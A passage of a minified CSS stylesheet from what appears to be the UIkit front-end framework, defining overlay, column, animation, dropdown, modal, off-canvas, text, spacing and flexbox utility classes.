a[class*=uk-icon-]:not(.uk-icon-button),.uk-overlay-panel h1,.uk-overlay-panel h2,.uk-overlay-panel h3,.uk-overlay-panel h4,.uk-overlay-panel h5,.uk-overlay-panel h6{color:inherit}.uk-overlay-panel a:not([class]){color:inherit;text-decoration:underline}.uk-overlay-active :not(.uk-active)>.uk-overlay-panel:not(.uk-ignore),.uk-overlay-hover:not(:hover):not(.uk-hover) .uk-overlay-panel:not(.uk-ignore){opacity:0}.uk-overlay-background{background:rgba(0,0,0,.5)}.uk-overlay-image{padding:0}.uk-overlay-top{bottom:auto}.uk-overlay-bottom{top:auto}.uk-overlay-left{right:auto}.uk-overlay-right{left:auto}.uk-overlay-icon:before{position:absolute;top:50%;left:50%;color:#fff}.uk-overlay-blur,.uk-overlay-fade,.uk-overlay-grayscale,.uk-overlay-scale,.uk-overlay-spin,[class*=uk-overlay-slide]{transition-duration:.3s;transition-timing-function:ease-out;transition-property:opacity,transform,filter}.uk-overlay-active .uk-overlay-fade,.uk-overlay-active .uk-overlay-scale,.uk-overlay-active .uk-overlay-spin,.uk-overlay-active [class*=uk-overlay-slide]{transition-duration:.8s}.uk-overlay-fade{opacity:.7}.uk-overlay-active .uk-active>.uk-overlay-fade,.uk-overlay-hover.uk-hover .uk-overlay-fade,.uk-overlay-hover:hover .uk-overlay-fade{opacity:1}.uk-overlay-scale{-webkit-transform:scale(1);transform:scale(1)}.uk-overlay-active .uk-active>.uk-overlay-scale,.uk-overlay-hover.uk-hover .uk-overlay-scale,.uk-overlay-hover:hover .uk-overlay-scale{-webkit-transform:scale(1.1);transform:scale(1.1)}.uk-overlay-spin{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}.uk-overlay-active .uk-active>.uk-overlay-spin,.uk-overlay-hover.uk-hover .uk-overlay-spin,.uk-overlay-hover:hover .uk-overlay-spin{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}.uk-overlay-grayscale{-webkit-filter:grayscale(100%);filter:grayscale(100%)}.uk-overlay-active .uk-active>.uk-overlay-grayscale,.uk-overlay-hover.uk-hover .uk-overlay-grayscale,.uk-overlay-hover:hover .uk-overlay-grayscale{-webkit-filter:grayscale(0);filter:grayscale(0)}[class*=uk-overlay-slide]{opacity:0}.uk-overlay-slide-top{-webkit-transform:translateY(-100%);transform:translateY(-100%)}.uk-overlay-slide-bottom{-webkit-transform:translateY(100%);transform:translateY(100%)}.uk-overlay-slide-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.uk-overlay-slide-right{-webkit-transform:translateX(100%);transform:translateX(100%)}.uk-overlay-active .uk-active>[class*=uk-overlay-slide],.uk-overlay-hover.uk-hover [class*=uk-overlay-slide],.uk-overlay-hover:hover [class*=uk-overlay-slide]{opacity:1;-webkit-transform:translateX(0) translateY(0);transform:translateX(0) translateY(0)}.uk-overlay-area,.uk-overlay-caption{-webkit-transition:opacity .15s linear;-webkit-transform:translate3d(0,0,0);position:absolute;right:0;bottom:0}.uk-overlay-area{top:0;left:0;background:rgba(0,0,0,.3);opacity:0;transition:opacity .15s linear}.uk-overlay-toggle.uk-hover .uk-overlay-area,.uk-overlay-toggle:hover .uk-overlay-area,.uk-overlay.uk-hover .uk-overlay-area,.uk-overlay:hover .uk-overlay-area{opacity:1}.uk-overlay-area:empty:before{position:absolute;top:50%;left:50%;color:#fff}.uk-overlay-area:not(:empty){font-size:0}.uk-overlay-area:not(:empty):before{content:'';display:inline-block;height:100%;vertical-align:middle}.uk-overlay-area-content{display:inline-block;width:100%;font-size:1rem;text-align:center;padding:0 15px;color:#fff}.uk-overlay-area-content a:not([class]),.uk-overlay-area-content a:not([class]):hover{color:inherit}.uk-overlay-caption{left:0;padding:15px;background:rgba(0,0,0,.5);color:#fff;opacity:0;transition:opacity .15s linear}.uk-overlay-toggle.uk-hover .uk-overlay-caption,.uk-overlay-toggle:hover .uk-overlay-caption,.uk-overlay.uk-hover .uk-overlay-caption,.uk-overlay:hover .uk-overlay-caption{opacity:1}[class*=uk-column-]{-webkit-column-gap:25px;-moz-column-gap:25px;column-gap:25px}.uk-column-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}@media (min-width:480px){.uk-column-small-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-small-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-small-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-small-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-small-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}@media (min-width:768px){.uk-column-medium-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-medium-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-medium-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-medium-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-medium-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}@media (min-width:960px){.uk-column-large-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-large-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-large-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-large-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-large-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}@media (min-width:1220px){.uk-column-xlarge-1-2{-webkit-column-count:2;-moz-column-count:2;column-count:2}.uk-column-xlarge-1-3{-webkit-column-count:3;-moz-column-count:3;column-count:3}.uk-column-xlarge-1-4{-webkit-column-count:4;-moz-column-count:4;column-count:4}.uk-column-xlarge-1-5{-webkit-column-count:5;-moz-column-count:5;column-count:5}.uk-column-xlarge-1-6{-webkit-column-count:6;-moz-column-count:6;column-count:6}}[class*=uk-animation-]{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;-webkit-animation-fill-mode:both;animation-fill-mode:both}@media screen{[data-uk-scrollspy*=uk-animation-]:not([data-uk-scrollspy*=target]){opacity:0}}.uk-animation-fade{-webkit-animation-name:uk-fade;animation-name:uk-fade;-webkit-animation-duration:.8s;animation-duration:.8s;-webkit-animation-timing-function:linear!important;animation-timing-function:linear!important}.uk-animation-scale-up{-webkit-animation-name:uk-fade-scale-02;animation-name:uk-fade-scale-02}.uk-animation-scale-down{-webkit-animation-name:uk-fade-scale-18;animation-name:uk-fade-scale-18}.uk-animation-slide-top{-webkit-animation-name:uk-fade-top;animation-name:uk-fade-top}.uk-animation-slide-bottom{-webkit-animation-name:uk-fade-bottom;animation-name:uk-fade-bottom}.uk-animation-slide-left{-webkit-animation-name:uk-fade-left;animation-name:uk-fade-left}.uk-animation-slide-right{-webkit-animation-name:uk-fade-right;animation-name:uk-fade-right}.uk-animation-scale{-webkit-animation-name:uk-scale-12;animation-name:uk-scale-12}.uk-animation-shake{-webkit-animation-name:uk-shake;animation-name:uk-shake}.uk-animation-reverse{-webkit-animation-direction:reverse;animation-direction:reverse;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}.uk-animation-15{-webkit-animation-duration:15s;animation-duration:15s}.uk-animation-top-left{-webkit-transform-origin:0 0;transform-origin:0 0}.uk-animation-top-center{-webkit-transform-origin:50% 0;transform-origin:50% 0}.uk-animation-top-right{-webkit-transform-origin:100% 0;transform-origin:100% 0}.uk-animation-middle-left{-webkit-transform-origin:0 50%;transform-origin:0 50%}.uk-animation-middle-right{-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.uk-animation-bottom-left{-webkit-transform-origin:0 100%;transform-origin:0 100%}.uk-animation-bottom-center{-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.uk-animation-bottom-right{-webkit-transform-origin:100% 100%;transform-origin:100% 100%}.uk-animation-hover:not(:hover),.uk-animation-hover:not(:hover) [class*=uk-animation-],.uk-touch .uk-animation-hover:not(.uk-hover),.uk-touch .uk-animation-hover:not(.uk-hover) [class*=uk-animation-]{-webkit-animation-name:none;animation-name:none}@-webkit-keyframes uk-fade{0%{opacity:0}100%{opacity:1}}@keyframes uk-fade{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes uk-fade-top{0%{opacity:0;-webkit-transform:translateY(-100%)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-fade-top{0%{opacity:0;transform:translateY(-100%)}100%{opacity:1;transform:translateY(0)}}@-webkit-keyframes uk-fade-bottom{0%{opacity:0;-webkit-transform:translateY(100%)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-fade-bottom{0%{opacity:0;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}@-webkit-keyframes uk-fade-left{0%{opacity:0;-webkit-transform:translateX(-100%)}100%{opacity:1;-webkit-transform:translateX(0)}}@keyframes uk-fade-left{0%{opacity:0;transform:translateX(-100%)}100%{opacity:1;transform:translateX(0)}}@-webkit-keyframes uk-fade-right{0%{opacity:0;-webkit-transform:translateX(100%)}100%{opacity:1;-webkit-transform:translateX(0)}}@keyframes uk-fade-right{0%{opacity:0;transform:translateX(100%)}100%{opacity:1;transform:translateX(0)}}@-webkit-keyframes uk-fade-scale-02{0%{opacity:0;-webkit-transform:scale(.2)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes uk-fade-scale-02{0%{opacity:0;transform:scale(.2)}100%{opacity:1;transform:scale(1)}}@-webkit-keyframes uk-fade-scale-15{0%{opacity:0;-webkit-transform:scale(1.5)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes uk-fade-scale-15{0%{opacity:0;transform:scale(1.5)}100%{opacity:1;transform:scale(1)}}@-webkit-keyframes uk-fade-scale-18{0%{opacity:0;-webkit-transform:scale(1.8)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes uk-fade-scale-18{0%{opacity:0;transform:scale(1.8)}100%{opacity:1;transform:scale(1)}}@-webkit-keyframes uk-slide-left{0%{-webkit-transform:translateX(-100%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-left{0%{transform:translateX(-100%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-slide-right{0%{-webkit-transform:translateX(100%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-right{0%{transform:translateX(100%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-slide-left-33{0%{-webkit-transform:translateX(33%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-left-33{0%{transform:translateX(33%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-slide-right-33{0%{-webkit-transform:translateX(-33%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-right-33{0%{transform:translateX(-33%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-scale-12{0%{-webkit-transform:scale(1.2)}100%{-webkit-transform:scale(1)}}@keyframes uk-scale-12{0%{transform:scale(1.2)}100%{transform:scale(1)}}@-webkit-keyframes uk-rotate{0%{-webkit-transform:rotate(0)}100%{-webkit-transform:rotate(359deg)}}@keyframes uk-rotate{0%{transform:rotate(0)}100%{transform:rotate(359deg)}}@-webkit-keyframes uk-shake{0%,100%{-webkit-transform:translateX(0)}10%{-webkit-transform:translateX(-9px)}20%{-webkit-transform:translateX(8px)}30%{-webkit-transform:translateX(-7px)}40%{-webkit-transform:translateX(6px)}50%{-webkit-transform:translateX(-5px)}60%{-webkit-transform:translateX(4px)}70%{-webkit-transform:translateX(-3px)}80%{-webkit-transform:translateX(2px)}90%{-webkit-transform:translateX(-1px)}}@keyframes uk-shake{0%,100%{transform:translateX(0)}10%{transform:translateX(-9px)}20%{transform:translateX(8px)}30%{transform:translateX(-7px)}40%{transform:translateX(6px)}50%{transform:translateX(-5px)}60%{transform:translateX(4px)}70%{transform:translateX(-3px)}80%{transform:translateX(2px)}90%{transform:translateX(-1px)}}@-webkit-keyframes uk-slide-top-fixed{0%{opacity:0;-webkit-transform:translateY(-10px)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-slide-top-fixed{0%{opacity:0;transform:translateY(-10px)}100%{opacity:1;transform:translateY(0)}}@-webkit-keyframes uk-slide-bottom-fixed{0%{opacity:0;-webkit-transform:translateY(10px)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-slide-bottom-fixed{0%{opacity:0;transform:translateY(10px)}100%{opacity:1;transform:translateY(0)}}.uk-dropdown,.uk-dropdown-blank{display:none;position:absolute;z-index:1020;box-sizing:border-box;width:200px}.uk-dropdown{padding:15px;background:#fff;color:#444;font-size:1rem;vertical-align:top;border:1px solid #ddd;border-radius:2px}.uk-dropdown:focus{outline:0}.uk-open>.uk-dropdown,.uk-open>.uk-dropdown-blank{display:block;-webkit-animation:uk-fade .2s ease-in-out;animation:uk-fade .2s ease-in-out;-webkit-transform-origin:0 0;transform-origin:0 0}.uk-dropdown-top{margin-top:-5px}.uk-dropdown-bottom{margin-top:5px}.uk-dropdown-left{margin-left:-5px}.uk-dropdown-right{margin-left:5px}.uk-dropdown .uk-nav{margin:0 -15px}.uk-dropdown-grid>[class*=uk-width-]>.uk-panel+.uk-panel,.uk-dropdown-stack>.uk-dropdown-grid>[class*=uk-width-]:nth-child(n+2),.uk-grid .uk-dropdown-grid+.uk-dropdown-grid{margin-top:15px}@media (min-width:768px){.uk-dropdown:not(.uk-dropdown-stack)>.uk-dropdown-grid{margin-left:-15px;margin-right:-15px}.uk-dropdown:not(.uk-dropdown-stack)>.uk-dropdown-grid>[class*=uk-width-]{padding-left:15px;padding-right:15px}.uk-dropdown:not(.uk-dropdown-stack)>.uk-dropdown-grid>[class*=uk-width-]:nth-child(n+2){border-left:1px solid #ddd}.uk-dropdown-width-2:not(.uk-dropdown-stack){width:400px}.uk-dropdown-width-3:not(.uk-dropdown-stack){width:600px}.uk-dropdown-width-4:not(.uk-dropdown-stack){width:800px}.uk-dropdown-width-5:not(.uk-dropdown-stack){width:1000px}}@media (max-width:767px){.uk-dropdown-grid>[class*=uk-width-]{width:100%}.uk-dropdown-grid>[class*=uk-width-]:nth-child(n+2){margin-top:15px}}.uk-dropdown-stack>.uk-dropdown-grid>[class*=uk-width-]{width:100%}.uk-dropdown-small{min-width:150px;width:auto;padding:5px}.uk-dropdown-small .uk-nav{margin:0 -5px}.uk-dropdown-navbar{margin-top:6px;background:#fff;color:#444;left:-1px}.uk-open>.uk-dropdown-navbar{-webkit-animation:uk-slide-top-fixed .2s ease-in-out;animation:uk-slide-top-fixed .2s ease-in-out}.uk-dropdown-scrollable{overflow-y:auto;max-height:200px}.uk-dropdown-navbar.uk-dropdown-flip{left:auto}.uk-modal{display:none;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1010;overflow-y:auto;-webkit-overflow-scrolling:touch;background:rgba(0,0,0,.6);opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear;touch-action:cross-slide-y pinch-zoom double-tap-zoom}.uk-modal.uk-open{opacity:1}.uk-modal-page,.uk-modal-page body{overflow:hidden}.uk-modal-dialog{position:relative;margin:50px auto;padding:20px;width:600px;max-width:100%;max-width:calc(100% - 20px);background:#fff;opacity:0;-webkit-transform:translateY(-100px);transform:translateY(-100px);-webkit-transition:opacity .3s linear,-webkit-transform .3s ease-out;transition:opacity .3s linear,transform .3s ease-out;border-radius:2px;box-shadow:0 0 10px rgba(0,0,0,.3)}@media (max-width:767px){.uk-modal-dialog{width:auto;margin:10px auto}}.uk-open .uk-modal-dialog{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}.uk-modal-dialog>:not([class*=uk-modal-]):last-child{margin-bottom:0}.uk-modal-dialog>.uk-close:first-child{margin:-10px -10px 0 0;float:right}.uk-modal-dialog>.uk-close:first-child+:not([class*=uk-modal-]){margin-top:0}.uk-modal-dialog-lightbox{margin:15px auto;padding:0;max-width:95%;max-width:calc(100% - 30px);min-height:50px;border-radius:0}.uk-modal-dialog-lightbox>.uk-close:first-child{position:absolute;top:-12px;right:-12px;margin:0;float:none}@media (max-width:767px){.uk-modal-dialog-lightbox>.uk-close:first-child{top:-7px;right:-7px}}.uk-modal-dialog-blank{margin:0;padding:0;width:100%;max-width:100%;-webkit-transition:opacity .3s linear;transition:opacity .3s linear}.uk-modal-dialog-blank>.uk-close:first-child{position:absolute;top:20px;right:20px;z-index:1;margin:0;float:none}@media (min-width:768px){.uk-modal-dialog-large{width:930px}}@media (min-width:1220px){.uk-modal-dialog-large{width:1130px}}.uk-modal-header{margin:-20px -20px 15px;padding:20px;border-bottom:1px solid #ddd;border-radius:2px 2px 0 0;background:#fafafa}.uk-modal-footer{margin:15px -20px -20px;padding:20px;border-top:1px solid #ddd;border-radius:0 0 2px 2px;background:#fafafa}.uk-modal-footer>:last-child,.uk-modal-header>:last-child{margin-bottom:0}.uk-modal-caption{position:absolute;left:0;right:0;bottom:-20px;margin-bottom:-10px;color:#fff;text-align:center;overflow:hidden;text-overflow:ellipsis}.uk-modal-spinner{position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);font-size:25px;color:#ddd}.uk-offcanvas,.uk-offcanvas-bar{position:fixed;left:0;top:0;bottom:0}.uk-modal-spinner:after{content:"\f110";display:block;font-family:FontAwesome;-webkit-animation:uk-rotate 2s infinite linear;animation:uk-rotate 2s infinite linear}.uk-clearfix:after,.uk-clearfix:before,.uk-container:after,.uk-container:before,.uk-offcanvas-bar:after{content:""}.uk-offcanvas{display:none;right:0;z-index:1000;touch-action:none;background:rgba(0,0,0,.1)}.uk-offcanvas.uk-active{display:block}.uk-offcanvas-page{position:fixed;-webkit-transition:margin-left .3s ease-in-out;transition:margin-left .3s ease-in-out;margin-left:0}.uk-offcanvas-bar{-webkit-transform:translateX(-100%);transform:translateX(-100%);z-index:1001;width:270px;max-width:100%;background:#333;overflow-y:auto;-webkit-overflow-scrolling:touch;-webkit-transition:-webkit-transform .3s ease-in-out;transition:transform .3s ease-in-out;-ms-scroll-chaining:none}.uk-offcanvas-bar-flip:after,.uk-offcanvas-bar:after{width:1px;background:rgba(0,0,0,.6);box-shadow:0 0 5px 2px rgba(0,0,0,.6)}.uk-offcanvas.uk-active .uk-offcanvas-bar.uk-offcanvas-bar-show{-webkit-transform:translateX(0);transform:translateX(0)}.uk-offcanvas-bar-flip{left:auto;right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.uk-offcanvas-bar[mode=none]{-webkit-transition:none;transition:none}.uk-offcanvas-bar[mode=reveal]{-webkit-transform:translateX(0);transform:translateX(0);clip:rect(0,0,100vh,0);-webkit-transition:-webkit-transform .3s ease-in-out,clip .3s ease-in-out;transition:transform .3s ease-in-out,clip .3s ease-in-out}.uk-offcanvas-bar-flip[mode=reveal]{clip:none;-webkit-transform:translateX(100%);transform:translateX(100%)}.uk-offcanvas-bar-flip[mode=reveal]>*{-webkit-transform:translateX(-100%);transform:translateX(-100%);-webkit-transition:-webkit-transform .3s ease-in-out;transition:transform .3s ease-in-out}.uk-offcanvas.uk-active .uk-offcanvas-bar-flip[mode=reveal].uk-offcanvas-bar-show>*{-webkit-transform:translateX(0);transform:translateX(0)}.uk-offcanvas .uk-panel{margin:20px 15px;color:#777;text-shadow:0 1px 0 rgba(0,0,0,.5)}.uk-offcanvas .uk-panel a:not([class]),.uk-offcanvas .uk-panel-title{color:#ccc}.uk-offcanvas .uk-panel a:not([class]):hover{color:#fff}.uk-offcanvas-bar:after{display:block;position:absolute;top:0;bottom:0;right:0}.uk-offcanvas-bar-flip:after{right:auto;left:0}.uk-switcher{margin:0;padding:0;list-style:none;touch-action:cross-slide-y pinch-zoom double-tap-zoom}.uk-switcher>:not(.uk-active){display:none}.uk-text-small{font-size:10px;line-height:15px}.uk-text-large{font-size:17px;line-height:22px;font-weight:400}.uk-text-bold{font-weight:700}.uk-text-muted{color:#999!important}.uk-text-primary{color:#337ab7!important}.uk-text-success{color:#5cb85c!important}.uk-text-warning{color:#f0ad4e!important}.uk-text-danger{color:#d9534f!important}.uk-text-contrast{color:#fff!important}.uk-text-left{text-align:left!important}.uk-text-right{text-align:right!important}.uk-text-center{text-align:center!important}.uk-text-justify{text-align:justify!important}.uk-text-top{vertical-align:top!important}.uk-text-middle{vertical-align:middle!important}.uk-text-bottom{vertical-align:bottom!important}@media (max-width:959px){.uk-text-center-medium{text-align:center!important}.uk-text-left-medium{text-align:left!important}}@media (max-width:767px){.uk-text-center-small{text-align:center!important}.uk-text-left-small{text-align:left!important}}.uk-text-truncate{overflow:hidden;text-overflow:ellipsis}.uk-text-break{word-wrap:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;-moz-hyphens:auto;hyphens:auto}.uk-text-capitalize{text-transform:capitalize!important}.uk-text-lowercase{text-transform:lowercase!important}.uk-text-uppercase{text-transform:uppercase!important}.uk-container{max-width:980px;padding:0 25px}@media (min-width:1220px){.uk-container{max-width:1200px;padding:0 35px}}.uk-container:after,.uk-container:before{display:table}.uk-container-center{margin-left:auto;margin-right:auto}.uk-clearfix:before{display:table-cell}.uk-clearfix:after{display:table}.uk-nbfc{overflow:hidden}.uk-nbfc-alt{display:table-cell;width:10000px}.uk-float-left{float:left}.uk-float-right{float:right}[class*=uk-float-]{max-width:100%}[class*=uk-align-]{display:block;margin-bottom:15px}.uk-align-left{margin-right:15px;float:left}.uk-align-right{margin-left:15px;float:right}@media (min-width:768px){.uk-align-medium-left{margin-right:15px;float:left}.uk-align-medium-right{margin-left:15px;float:right}}.uk-align-center{margin-left:auto;margin-right:auto}.uk-vertical-align{font-size:0}.uk-vertical-align:before{content:'';display:inline-block;height:100%;vertical-align:middle}.uk-vertical-align-bottom,.uk-vertical-align-middle{display:inline-block;max-width:100%;font-size:1rem}.uk-vertical-align-middle{vertical-align:middle}.uk-vertical-align-bottom{vertical-align:bottom}.uk-autocomplete,.uk-form-file,.uk-form-select,.uk-search-field{vertical-align:middle}.uk-height-1-1{height:100%}.uk-height-viewport{height:100vh;min-height:600px}.uk-nestable-empty,.uk-sortable-empty{min-height:30px}.uk-responsive-width{max-width:100%!important;height:auto}.uk-responsive-height{max-height:100%;width:auto}.uk-margin{margin-bottom:15px}*+.uk-margin{margin-top:15px}.uk-margin-top{margin-top:15px!important}.uk-margin-bottom{margin-bottom:15px!important}.uk-margin-left{margin-left:15px!important}.uk-margin-right{margin-right:15px!important}.uk-margin-large{margin-bottom:50px}*+.uk-margin-large{margin-top:50px}.uk-margin-large-top{margin-top:50px!important}.uk-margin-large-bottom{margin-bottom:50px!important}.uk-margin-large-left{margin-left:50px!important}.uk-margin-large-right{margin-right:50px!important}.uk-margin-small{margin-bottom:5px}*+.uk-margin-small{margin-top:5px}.uk-margin-small-top{margin-top:5px!important}.uk-margin-small-bottom{margin-bottom:5px!important}.uk-margin-small-left{margin-left:5px!important}.uk-margin-small-right{margin-right:5px!important}.uk-margin-remove{margin:0!important}.uk-margin-top-remove{margin-top:0!important}.uk-margin-bottom-remove{margin-bottom:0!important}.uk-overflow-container>:last-child,.uk-scrollable-box>:last-child{margin-bottom:0}.uk-padding-remove{padding:0!important}.uk-padding-top-remove{padding-top:0!important}.uk-padding-bottom-remove{padding-bottom:0!important}.uk-padding-vertical-remove{padding-top:0!important;padding-bottom:0!important}.uk-border-circle{border-radius:50%}.uk-border-rounded{border-radius:5px}.uk-heading-large{font-size:34px;line-height:39px}@media (min-width:768px){.uk-heading-large{font-size:48px;line-height:59px}}.uk-link-muted,.uk-link-muted a,.uk-link-muted a:hover,.uk-link-muted:hover{color:#444}.uk-link-reset,.uk-link-reset a,.uk-link-reset a:focus,.uk-link-reset a:hover,.uk-link-reset:focus,.uk-link-reset:hover{color:inherit;text-decoration:none}.uk-scrollable-text{height:300px;overflow-y:scroll;-webkit-overflow-scrolling:touch;resize:both}.uk-scrollable-box{height:170px;padding:10px;border:1px solid #ddd;overflow:auto;-webkit-overflow-scrolling:touch;resize:both;border-radius:3px}.uk-contrast .uk-nav-side .uk-nav-divider,.uk-contrast hr{border-top-color:rgba(255,255,255,.2)}.uk-overflow-hidden{overflow:hidden}.uk-overflow-container{overflow:auto;-webkit-overflow-scrolling:touch}.uk-position-absolute,[class*=uk-position-top],[class*=uk-position-bottom]{position:absolute!important}.uk-position-top{top:0;left:0;right:0}.uk-position-bottom{bottom:0;left:0;right:0}.uk-position-top-left{top:0;left:0}.uk-position-top-right{top:0;right:0}.uk-position-bottom-left{bottom:0;left:0}.uk-position-bottom-right{bottom:0;right:0}.uk-position-cover{position:absolute;top:0;bottom:0;left:0;right:0}.uk-position-relative{position:relative!important}.uk-position-z-index{z-index:1}.uk-display-block{display:block!important}.uk-display-inline{display:inline!important}.uk-display-inline-block{display:inline-block!important;max-width:100%}@media (min-width:960px){.uk-hidden-large,.uk-visible-medium,.uk-visible-small{display:none!important}}@media (min-width:768px) and (max-width:959px){.uk-hidden-medium,.uk-visible-large,.uk-visible-small{display:none!important}}@media (max-width:767px){.uk-hidden-small,.uk-visible-large,.uk-visible-medium{display:none!important}}.uk-hidden{display:none!important;visibility:hidden!important}.uk-invisible{visibility:hidden!important}.uk-visible-hover:hover .uk-hidden,.uk-visible-hover:hover .uk-invisible{display:block!important;visibility:visible!important}.uk-visible-hover-inline:hover .uk-hidden,.uk-visible-hover-inline:hover .uk-invisible{display:inline-block!important;visibility:visible!important}.uk-notouch .uk-hidden-notouch,.uk-touch .uk-hidden-touch{display:none!important}.uk-flex{display:-ms-flexbox;display:-webkit-flex;display:flex}.uk-flex-inline{display:-ms-inline-flexbox;display:-webkit-inline-flex;display:inline-flex}.uk-flex-inline>*,.uk-flex>*{-ms-flex-negative:1}.uk-flex-top{-ms-flex-align:start;-webkit-align-items:flex-start;align-items:flex-start}.uk-flex-middle{-ms-flex-align:center;-webkit-align-items:center;align-items:center}.uk-flex-bottom{-ms-flex-align:end;-webkit-align-items:flex-end;align-items:flex-end}.uk-flex-center{-ms-flex-pack:center;-webkit-justify-content:center;justify-content:center}.uk-flex-right{-ms-flex-pack:end;-webkit-justify-content:flex-end;justify-content:flex-end}.uk-flex-space-between{-ms-flex-pack:justify;-webkit-justify-content:space-between;justify-content:space-between}.uk-flex-space-around{-ms-flex-pack:distribute;-webkit-justify-content:space-around;justify-content:space-around}.uk-flex-row-reverse{-ms-flex-direction:row-reverse;-webkit-flex-direction:row-reverse;flex-direction:row-reverse}.uk-flex-column{-ms-flex-direction:column;-webkit-flex-direction:column;flex-direction:column}.uk-flex-column-reverse{-ms-flex-direction:column-reverse;-webkit-flex-direction:column-reverse;flex-direction:column-reverse}.uk-flex-nowrap{-ms-flex-wrap:nowrap;-webkit-flex-wrap:nowrap;flex-wrap:nowrap}.uk-flex-wrap{-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap}.uk-flex-wrap-reverse{-ms-flex-wrap:wrap-reverse;-webkit-flex-wrap:wrap-reverse;flex-wrap:wrap-reverse}.uk-flex-wrap-top{-ms-flex-line-pack:start;-webkit-align-content:flex-start;align-content:flex-start}.uk-flex-wrap-middle{-ms-flex-line-pack:center;-webkit-align-content:center;align-content:center}.uk-flex-wrap-bottom{-ms-flex-line-pack:end;-webkit-align-content:flex-end;align-content:flex-end}.uk-flex-wrap-space-between{-ms-flex-line-pack:justify;-webkit-align-content:space-between;align-content:space-between}.uk-flex-wrap-space-around{-ms-flex-line-pack:distribute;-webkit-align-content:space-around;align-content:space-around}.uk-flex-order-first{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last{-ms-flex-order:99;-webkit-order:99;order:99}@media (min-width:480px){.uk-flex-order-first-small{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-small{-ms-flex-order:99;-webkit-order:99;order:99}}@media (min-width:768px){.uk-flex-order-first-medium{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-medium{-ms-flex-order:99;-webkit-order:99;order:99}}@media (min-width:960px){.uk-flex-order-first-large{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-large{-ms-flex-order:99;-webkit-order:99;order:99}}@media (min-width:1220px){.uk-flex-order-first-xlarge{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-xlarge{-ms-flex-order:99;-webkit-order:99;order:99}}.uk-flex-item-none{-ms-flex:none;-webkit-flex:none;flex:none}.uk-flex-item-auto{-ms-flex:auto;-webkit-flex:auto;flex:auto;-ms-flex-negative:1}.uk-flex-item-1{-ms-flex:1;-webkit-flex:1;flex:1}.uk-contrast{color:#fff}.uk-contrast .uk-link,.uk-contrast a:not([class]){color:rgba(255,255,255,.7);text-decoration:none}.uk-contrast .uk-link:hover,.uk-contrast a:not([class]):hover{color:#fff;text-decoration:underline}.uk-contrast :not(pre)>code,.uk-contrast :not(pre)>kbd,.uk-contrast :not(pre)>samp{color:#fff;border-color:rgba(255,255,255,.2);background:rgba(255,255,255,.1)}.uk-contrast em,.uk-contrast h1,.uk-contrast h2,.uk-contrast h3,.uk-contrast h4,.uk-contrast h5,.uk-contrast h6{color:#fff}.uk-contrast .uk-nav li>a,.uk-contrast .uk-nav li>a:hover{text-decoration:none}.uk-contrast .uk-nav-side>li>a{color:#fff}.uk-contrast .uk-nav-side>li>a:focus,.uk-contrast .uk-nav-side>li>a:hover{background:rgba(255,255,255,.1);color:#fff;text-shadow:none}.uk-contrast .uk-nav-side>li.uk-active>a{background:#fff;color:#444;text-shadow:none}.uk-contrast .uk-nav-side 